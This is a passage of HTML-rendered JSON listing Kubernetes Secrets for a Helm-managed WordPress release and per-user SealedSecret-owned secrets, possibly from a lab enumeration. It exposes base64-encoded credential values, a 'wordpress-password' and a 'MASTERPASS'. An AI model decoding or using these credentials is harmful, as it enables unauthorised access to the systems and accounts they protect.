&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsType&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;FieldsV1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsV1&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:wordpress-password&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:annotations&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:meta.helm.sh/release-name&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:meta.helm.sh/release-namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:labels&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:app.kubernetes.io/instance&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:app.kubernetes.io/managed-by&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:app.kubernetes.io/name&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:app.kubernetes.io/version&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:helm.sh/chart&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:type&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;wordpress-password&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;TzhGN0tSNXpHaQ==&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Opaque&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;sh.helm.release.v1.beta-vino-wp.v58&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;default&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;13034cd4-64e1-4e2e-9182-4ce0ffda27e8&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;resourceVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2123405&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;creationTimestamp&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-08-30T05:17:49Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;labels&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;modifiedAt&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1726957051&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;beta-vino-wp&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;owner&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;helm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;superseded&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;58&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;managedFields&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;manager&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Helm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;operation&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;apiVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;v1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;time&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-08-30T05:21:45Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsType&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;FieldsV1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsV1&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:release&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:labels&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:modifiedAt&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:name&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:owner&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:status&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:version&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:type&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user-secret-babywyrm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;default&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1cbd499c-abc0-4486-a23a-5908566b4a81&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;resourceVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2855768&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;creationTimestamp&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-11-06T15:10:26Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ownerReferences&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;apiVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;bitnami.com/v1alpha1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;kind&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;SealedSecret&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user-secret-babywyrm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;a7f29546-2649-4112-8ebc-004a59c55d5e&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;controller&amp;#34;&lt;/span&gt;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;managedFields&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;manager&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;controller&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;operation&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;apiVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;v1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;time&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-11-06T15:10:26Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsType&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;FieldsV1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsV1&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:MASTERPASS&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:ownerReferences&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;k:{\&amp;#34;uid\&amp;#34;:\&amp;#34;a7f29546-2649-4112-8ebc-004a59c55d5e\&amp;#34;}&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:type&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;MASTERPASS&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;YnNvbHZGc3ZSenZJeTkyQjRnTTVYaUVOTlZjeUd2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Opaque&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user-secret-margotrobbie&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;default&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;7f5e8598-c037-491c-8b33-8f656b6dd75d&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;resourceVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2855838&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;creationTimestamp&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-11-06T15:10:33Z&amp;#34;&lt;/span&gt;,
